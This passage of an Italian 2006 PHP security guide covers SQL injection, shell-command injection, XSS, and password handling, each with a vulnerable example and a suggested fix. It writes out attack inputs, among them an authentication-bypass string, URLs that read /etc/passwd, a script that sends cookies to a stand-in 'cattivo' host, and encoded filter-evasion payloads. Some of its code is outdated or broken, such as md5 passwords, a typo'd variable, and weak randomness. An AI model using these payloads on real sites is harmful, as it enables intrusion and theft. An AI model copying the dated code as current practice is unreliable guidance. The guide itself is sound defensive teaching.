  • 11. Ce.Se.N.A Security Group http://cesena.ing2.unibo.it 5. Sql Injection «SQL injection is a security vulnerability that occurs in the database layer of an application. The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is in fact an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another» [Wikipedia, http://en.wikipedia.org/wiki/Sql_injection]. Possiamo vedere una SQL injection come una minaccia concreta per i sistemi di autenticazione. Vediamo infatti qualche esempio di questo attacco: 1. <? 2. $utente=$_POST["username"]; 3. $password=md5($_POST["password"]); 4. if (mysql_num_rows(mysql_query("SELECT utente,password FROM utenti " 5. ."WHERE utente='$utente' AND password='$password'"))>0) { 6. //autenticato correttamente 7. } 8. ?> In questo caso, se postiamo come nome utente la stringa «admin’ OR 1=1 ;» la query assume il seguente aspetto: 1. SELECT utente,password FROM UTENTI 2. WHERE utente = ‘admin’ OR 1=1 ;‘ AND password=’something’ Con il codice di autenticazione precedente, abbiamo appena ricevuto i diritti dell’amministratore! Tutto perché siamo riusciti ad iniettare codice SQL utilizzando apici e punto e virgola per commentare il controllo sulla password. Vediamo alcuni metodi per contrastare questo attacco. Attualmente il php mette a disposizione funzioni per “valicare l’input”. In particolare, censurare i caratteri particolari che permettono all’intruso di inserire codice SQL a piacimento (ad esempio il carattere ‘). Le api standard del nostro linguaggio preferito ci vengono in aiuto con mysql_escape_string() e mysql_real_escape_string() (quest’ultima tiene conto dell'attuale set di caratteri della connessione). Queste funzioni non aggiungono le sequenze di escape a caratteri come ‘%’ ed a ‘_’. Dobbiamo però anche considerare altri errori (voluti e non) da parte degli utenti: stringhe al posto di valori numerici, valori di lunghezza troppo elevata (possibile buffer overflow). Possiamo utilizzare funzioni native del php per il controllo del tipo di variabile come is_numeric(), is_string(), is_int(), is_float() e troncare stringhe di lunghezza eccessiva con substr(). Copyright 2006 © CeSeNA , Stefano Bianchini 11
  • 12. Ce.Se.N.A Security Group http://cesena.ing2.unibo.it Riassumiamo questi controlli: 1. <? 2. //Mette in sicurezza la stringa, eventualmente 3. //la tronca in base alla lunghezza max 4. function check_string($stringa,$lunghezzamax=0) { 5. $t_string=mysql_escape_string($stringa); 6. if ($lunghezzamax>0) { 7. $t_string=substr($5_string,0,$lunghezzamax); 8. } 9. return $t_string; 10. } 11. 12. //Controlla se è un numero 13. //altrimenti restituisce 0 14. //@ param $tipo = 'int', 'float', '' (numero generico) 15. function check_number($numero,$tipo='') { 16. switch($tipo) { 17. case 'int': 18. if (is_int($numero)) { return $numero; } 19. else { return 0; } 20. case 'float': 21. if (is_float($numero)) { return $numero; } 22. else { return 0; } 23. default: 24. if (is_numeric($numero)) { return $numero; } 25. else { return 0; } 26. } 27. } 28. ?> Controlli lato client possono essere usati per la comodità dall’utente, ma affiancati sempre a controlli lato server (Javascript può essere disabilitato o modificato!). Anche prendere misure preventive aumenta la sicurezza: ad esempio evitare che al momento dell’iscrizione l’utente utilizzi caratteri e parole riservate (apici, doppi apici, parole come “SELECT”, “GRANT”, “UNION”…) Chiaramente prima di eseguire qualsiasi query questi caratteri e parole devono essere censurati da una funzione apposita. 1. <? 2. //variabile utilizzata come globale 3. //per memorizzare gli errori 4. $feedback=''; 5. function account_namevalid($name) { 6. global $feedback; 7. // Non vogliamo spazi 8. if (strrpos($name,' ') > 0) { 9. $feedback .= " There cannot be any spaces in the name."; 10. return false; 11. } 12. 13. // Deve contenere almeno un carattere alfabetico 14. if (strspn($name,"abcdefghijklmnopqrstuvwxyz 15. ABCDEFGHIJKLMNOPQRSTUVWXYZ") == 0) { 16. $feedback .= "There must be at least one character."; 17. return false; 18. } 19. Copyright 2006 © CeSeNA , Stefano Bianchini 12
  • 13. Ce.Se.N.A Security Group http://cesena.ing2.unibo.it 20. // deve contenere solo caratteri "legali" 21. if (strspn($name,"abcdefghijklmnopqrstuvwxyz 22. ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789-_")!= strlen($name)) { 23. $feedback .= " Illegal character in name. "; 24. return false; 25. } 26. 27. // lunghezza minima e massima 28. if (strlen($name) < 5) { 29. $feedback .= " Name is too short. It must be at least 5 chars. "; 30. return false; 31. } 32. if (strlen($name) > 15) { 33. $feedback .= "Name is too long. It must be less than 15 chars."; 34. return false; 35. } 36. 37. // Nomi illegali da censurare 38. if (eregi("^((root)|(bin)|(daemon)|(adm)|(lp)|(sync)|(shutdown)" 39. ."|(halt)|(mail)|(news)|(union)" 40. . "|(uucp)|(select)|(grant)|(mysql)|(httpd)|(nobody)|(dummy)" 41. . "|(www)|(cvs)|(shell)|(ftp)|(irc)|(debian)" 42. ."|(ns)|(download))$",$name)) { 43. $feedback .= "Name is reserved."; 44. return 0; 45. } 46. if (eregi("^(anoncvs_)",$name)) { 47. $feedback .= "Name is reserved for CVS."; 48. return false; 49. } 50. 51. return true; 52. } 53. ?> Copyright 2006 © CeSeNA , Stefano Bianchini 13
  • 14. Ce.Se.N.A Security Group http://cesena.ing2.unibo.it 6. Esecuzione di comandi remoti L’esecuzione di comandi remoti avviene tramite i comandi php exec(), system(), passthru(). Nei sistemi posix like, però, l’utilizzo di particolari apici rovesciati ( ` ). Gli apici rovesciati (backsticks) eseguono il comando contenuto e restituiscono l ’output. Questo porta a falle nella sicurezza, nei sistemi dove andiamo ad eseguire comandi con parametri specificati dall’utente; consideriamo infatti questo scenario: 1. <? 2. $host=$_GET["host"]; 3. $esegui = exec('nmap '.$host, $output); 4. var_dump($output); 5. 6. ?> Poiché gli apici rovesciati eseguono ciò che è contenuto al loro interno, se proviamo a richiedere pagina.php?host=`cat /etc/passwd` Il risultato sarà un errore di nmap, ma l’istruzione cat verrà eseguita ma non completamente visualizzata. Pensate però che succede se mettete una istruzione di tipo wget (serve per scaricare file remoti): riuscite a inserire nel server un file qualsiasi! Le risorse del php sono infinite, e quest’ultimo rende disponibili funzioni per eliminare gli apici rovesciati, escapeshellcmd() per i comandi e escapeshellarg() per gli argomenti (parametri). 1. <? 2. function secure_exec($comando,$parametri,& $output) { 3. $safe = array(); 4. $safe['comando'] = escapeshellcmd($comando); 5. $safe['parametri'] = escapeshellarg($parametri); 6. $esegui = exec($safe['comando']." ".$safe['parametri'], $output, $return); 7. return $return; 8. } 9. ?> La funzione appena esposta mette al sicuro anche da iniezioni di codice indipendenti dagli apici, sfruttando il simbolo di pipe “|” che è comune ai vari sistemi operativi. Vediamo un esempio di attacco (consideriamo il codice di nmap precedente): 1. GET pagina.php?host=%2Fdev%2Fnull%20%7C%20cat%20%2Fetc%2Fpasswd 2. 3. Che esegue il comando 4. nmap /dev/null | cat /etc/passwd Questo invece, a causa dell’ordine imposto dalla pipe, mostrerà il contenuto del file contenente le password! Copyright 2006 © CeSeNA , Stefano Bianchini 14
  • 15. Ce.Se.N.A Security Group http://cesena.ing2.unibo.it 7. XSS Cross Site Script Bei tempi, quando le chat erano ancora in CGI e si aggiornavano con il tag meta- refresh…mi ricordo che per fare impazzire un po’ di gente postavo: Ciao a tutti! <script language=”Javascript”>alert(‘Un virus è entrato nel tuo computer!’);</script> Tutti disperati perché pensavano di aver preso un virus, e i moderatori indaffarati a spiegare che era “solo” Javascript. I tempi sono cambiati, è vero, ma il problema è rimasto lo stesso. Si è evoluto, ha trovato nuovi modi per nascere, ma in sostanza è rimasto lo stesso. Sto parlando dell’inserimento arbitrario di codice scripting (Javascript, Livescript e via dicendo) all’interno di forum e simili. È cognizione comune che Javascript e i linguaggi client side non possano arrecare danni al computer nel quale vengono eseguiti: questo è vero, con Javascript non si riesce a cancellare files, formattare l’hard disk, scaricare virus…e allora dove sta il problema di sicurezza? Purtroppo questi linguaggi hanno libero accesso ai tanto amati cookies, utilizzati da noi programmatori per tenere traccia dell’utente (in tutti i metodi visti in precedenza, vedi paragrafo 4). Questa peculiarità, aggiunta alle potenzialità di un linguaggio server side residente in un sito “cattivo”, rende i nostri prodotti vulnerabili agli attacchi XSS. Consideriamo infatti un semplice forum che salvi in database direttamente ciò che l’utente scrive in una textarea: Senza controlli sul salvataggio, questa messaggio verrà inserita nel database, con il risultato ad ogni accesso alla pagina, verrà eseguito il codice Javascript (in questo caso il browser mostrerà un alert con la scritta “XSS”). Ora passiamo a qualcosa di più rischioso: Ciao, penso che <script> document.location=’http://cattivo.example.com/script.php’+document.cookies </script> Copyright 2006 © CeSeNA , Stefano Bianchini 15
  • 16. Ce.Se.N.A Security Group http://cesena.ing2.unibo.it Immaginiamo che script.php sia del codice php che permetta ad un intruso di salvare i nostri cookies… Certo, il terzo metodo di autenticazione (cookie con session_id, indirizzo IP, tipo di browser e Mysql) è parecchio resistente anche ad attacchi XSS (ma la sicurezza certa non esiste). La prima cosa che viene in mente sarebbe di eliminare i tag “SCRIPT” dalle frasi prima di salvarle; questo però non è abbastanza, perché possibile sfruttare vulnerabilità di interpretazione di altri tag: body, img, iframe e così via. Vediamo alcuni esempi: <IMG SRC="javascript:alert('XSS');"> <LINK REL="stylesheet" HREF="javascript:alert('XSS');"> <IFRAME SRC="javascript:alert('XSS');"></IFRAME> <IMG SRC=JaVaScRiPt:alert('XSS')> <!--Case Insensitive--> Gli esempi sono molteplici; inoltre è possibile celare parole riservate (“javascript:” e così via) con particolari codifiche (UTF-8 Unicode encoding, Long UTF-8 Unicode encoding, Hex encoding). Vediamo qualche esempio [ from http://ha.ckers.org/xss.html ]: <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#1 01;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41;> <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#00 00112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0 000039&#0000088&#0000083&#0000083&#0000039&#0000041> <IMG SRC=&#x6A&#x61&#x76&#x61&#x73&#x63&#x72&#x69&#x70&#x74&#x3A&#x61&#x6C&#x65&#x72& #x74&#x28&#x27&#x58&#x53&#x53&#x27&#x29> La soluzione migliore è impedire che l’utente riesca ad inserire qualsiasi tag html: il risultato sarà solo testo, effetto grafico basso, ma sicuramente non conterrà codice XSS. Questo può essere fatto con la funzione htmlentities() nativa di php. Vediamo un esempio di prima e dopo: 1. <? 2. //Prima 3. $stringa="<script>alert('XSS');</script>"; 4. //Dopo: &lt;script&gt;alert('XSS');&lt;/script&gt; 5. echo htmlentities($stringa); 6. ?> Questa funzione permette anche di specificare il tipo di codifica utilizzato. Per una sicurezza ulteriore (più che altro per non mostrare a video tag html non “esteticamente gratificanti”) si può ricorrere alla seguente funzione: 1. <? 2. /** 3. * Cleans text of all formating and scripting code 4. */ 5. function cleanText ( &$text ) { 6. $text = preg_replace( "'<script[^>]*>.*?</script>'si", '', $text ); 7. $text = preg_replace( '/<as+.*?href="([^"]+)"[^>]*>([^<]+)</a>/is', '2 (1)', $text ); 8. $text = preg_replace( '/<!--.+?-->/', '', $text ); Copyright 2006 © CeSeNA , Stefano Bianchini 16
  • 17. Ce.Se.N.A Security Group http://cesena.ing2.unibo.it 9. $text = preg_replace( '/{.+?}/', '', $text ); 10. $text = preg_replace( '/&nbsp;/', ' ', $text ); 11. $text = preg_replace( '/&amp;/', ' ', $text ); 12. $text = preg_replace( '/&quot;/', ' ', $text ); 13. $text = strip_tags( $text ); 14. $text = htmlspecialchars( $text ); 15. 16. return $text; 17. } 18. ?> In certi casi è possibile e concreta la necessità di un sito di permettere agli utenti qualche miglioria grafica (testo in grassetto, corsivo, centrato, inserimento di immagini). La prima soluzione può essere utilizzare il cosiddetto BBCode: “BBCode is an abbreviation for Bulletin Board Code, the markup language used to format posts in many message boards. The available tags are usually indicated by rectangular brackets surrounding a keyword, and they are parsed by the message board system before being translated into a markup language the web browsers understands, usually HTML or XHTML. BBCode was devised and put to use in order to provide a safer, easier and more limited way of allowing users to format their messages. Previously, many message boards allowed the users to include HTML, which could be used to break/imitate parts of the layout, or run JavaScript. Some implementations of BBCode have suffered problems related to the way they translate the BBCode into HTML, which could negate the security that was intended to be given by BBCode.” [Wikipedia, http://en.wikipedia.org/wiki/BBCode]. Quindi: BBCode come tentativo di limitare Javascript, con il risultato che certe implementazioni trasformavano direttamente le parentesi quadre ( [b] ) in simboli minore/maggiore dell’html (<b>). Una buona implementazione può però evitare molti problemi, e scongiurare attacchi XSS. A meno che non si tratti di inserimento di immagini: infatti il BBCode trasforma la struttura: [IMG]http://www.example.com/image.gif[/IMG] in <IMG SRC=”http://www.example.com/image.gif”> Un’ipotesi di attacco sarebbe quindi : [IMG]javascript:alert(‘XSS’)[/IMG] -> <IMG SRC=”javascript:alert(‘XSS’)”> Questo problema è risolvibile analizzando il contesto: l’utente deve inserire immagini con percorso remoto, della forma http://www.example.com/image.gif. Tutto sta quindi nel controllare che il percorso dell’immagine sia un URL valido, con la funzione che segue: 1. <? 2. function isValidURL($url) 3. { Copyright 2006 © CeSeNA , Stefano Bianchini 17
  • 18. Ce.Se.N.A Security Group http://cesena.ing2.unibo.it 4. return preg_match('|^http(s)?://[a-z0-9-]+(.[a-z0-9-]+)*(:[0- 9]+)?(/.*)?$|i', $url); 5. } 6. 7. ?> Ultimamente però, soprattutto considerando inserimento di news, blog eccetera sta prendendo sempre più piede l’editor Wysiwyg (What You See Is What You Get) . Un esempio famoso può essere FKEditor (http://www.fckeditor.net/). Questi editor utilizzano direttamente codice html (per una immediata visualizzazione in textarea tramite javascript). Il trucco del BBCode quindi salta ed è necessario trovare una ulteriore soluzione al problema. Un aiuto ci giunge dalla rete: un geniale sviluppatore ha avuto l’idea e la pazienza di scrivere una classe php dedicata alla validazione del codice html (Php Input Filter, http://cyberai.com/inputfilter/index.php, scaricabile liberamente secondo GPL all’indirizzo http://cyberai.com/inputfilter/input_filter.zip). Questa classe permette, in maniera efficace e veloce, di censurare tag, attributi e codici XSS non voluti e di lasciare inalterati tutti gli altri. Un consiglio? Usatela! Una considerazione finale: la maggior parte degli attacchi XSS non funziona con Mozilla Firefox, ma solo con Internet Explorer, Netscape e talvolta anche con Opera (vedi http://ha.ckers.org/xss.html per maggiori dettagli). In particolare, Internet Explorer (ultima versione attuale) avvisa l’utente che è stato bloccato del contenuto “pericoloso”. Chissà perché questo avviso ogni tanto funziona ogni tanto no… quindi: Copyright 2006 © CeSeNA , Stefano Bianchini 18
  • 19. Ce.Se.N.A Security Group http://cesena.ing2.unibo.it 8. Password, generatori, password smarrite L’ultima risorsa per l’attaccante, se avete seguito tutti i consigli possibili per mettere in sicurezza il vostro sito php, è la speranza che la password che usate sia debole, ossia facile da trovare. Esempi vulnerabili possono essere: password estremamente corte (sotto i 6 caratteri), basate su dizionario, uguali al nome utente, oppure come “la password” (avete presente la scritta “Inserire qui la password”: beh la risposta è: “la password”, mi sembra logico…) È importante quindi controllare sia la lunghezza della password, che il contenuto (obbligate gli utenti ad utilizzare caratteri alfabetici, numerici e almeno un ‘-‘ oppure un ‘.’. 1. <? 2. //Controlla la lunghezza della password 3. function account_pwvalid($pw) { 4. global $feedback; 5. if (strlen($pw) < 6) { 6. $feedback .= " Password must be at least 6 characters. "; 7. return false; 8. } 9. return true; 10. } 11. ?> Se questo non risulta sufficiente, è possibile ricorrere a generatori di password casuali (qui un esempio per caratteri alfanumerici, maiuscoli e minuscoli). . 1. <? 2. function generatePassword($length = 8) 3. { 4. $chars = 'abcdefghiknrstyxzABDCEFGHKNQRSTYZ23456789'; 5. $numChars = strlen($chars); 6. 7. $string = ''; 8. for ($i = 0; $i < $length; $i++) { 9. $string .= substr($chars, rand(1, $numChars) - 1, 1); 10. } 11. return $string; 12. } 13. 14. echo generatePassword(8); 15. ?> Un’ultima considerazione riguarda il cosiddetto “smarrimento di password”. Si permette di solito di ricevere via mail la password dimenticata o una nuova password. Questa possibilità deve essere assolutamente negata agli amministratori: infatti la mail degli amministratori è visibile, e in caso di password debole di quest’ultima un intruso potrebbe richiedere dal sito l’invio di una nuova password, entrare nella casella di posta dell’admin e quindi ottenere ciò che serve per entrare nell’amministrazione del sito. Copyright 2006 © CeSeNA , Stefano Bianchini 19
  • 20. Ce.Se.N.A Security Group http://cesena.ing2.unibo.it 9. Conclusioni Approfitto di questo capitolo finale per dare alcuni link a siti che trattano l’argomento: • http://phpsec.org/ : PHP Security Consortium Fondato nel gennaio 2005, questo consorzio si occupa di promuovere la programmazione sicura all’interno della comunità dei programmatori Php. • http://phpsec.org/projects/guide/ : Una guida redatta dal Php Security Consortium, in inglese. Disponibile una versione scaricabile in formato pdf all’indirizzo http://shiflett.org/php-security.pdf. • http://www.developer.com/lang/article.php/918141 : On the Security of PHP Un articolo suddiviso in due parti che tratta la sicurezza nella programmazione Php (in inglese). • http://www.phpsecure.info/v2/.php : phpSecure.info Una comunità francese sull’argomento; è disponibile anche la lingua inglese. • http://www.php.net/manual/it/security.php : Php Security - Manual Dai creatori del linguaggio, alcuni consigli sulla sicurezza (sempre in inglese, non ancora tradotta al momento della stesura di questo articolo). • http://www.webkreator.com/php/configuration/php-session-security.html : Php Session Security • http://www.securephpwiki.com/index.php/Main_Page : SecurePhp Wiki Un wiki sull’argomento. • http://www.securereality.com.au/studyinscarlet.txt : A Study In Scarlet Exploiting Common Vulnerabilities in PHP Applications • http://www.sklar.com/page/article/owasp-top-ten Php Top Ten Security Vulnerabilities Per nuove revisioni di questo documento, invito a controllare periodicamente: • http://cesena.ing2.unibo.it : CeSeNA Security, Network & Application Stefano Bianchini stefano.bianchini2@studio.unibo.it Copyright 2006 © CeSeNA , Stefano Bianchini 20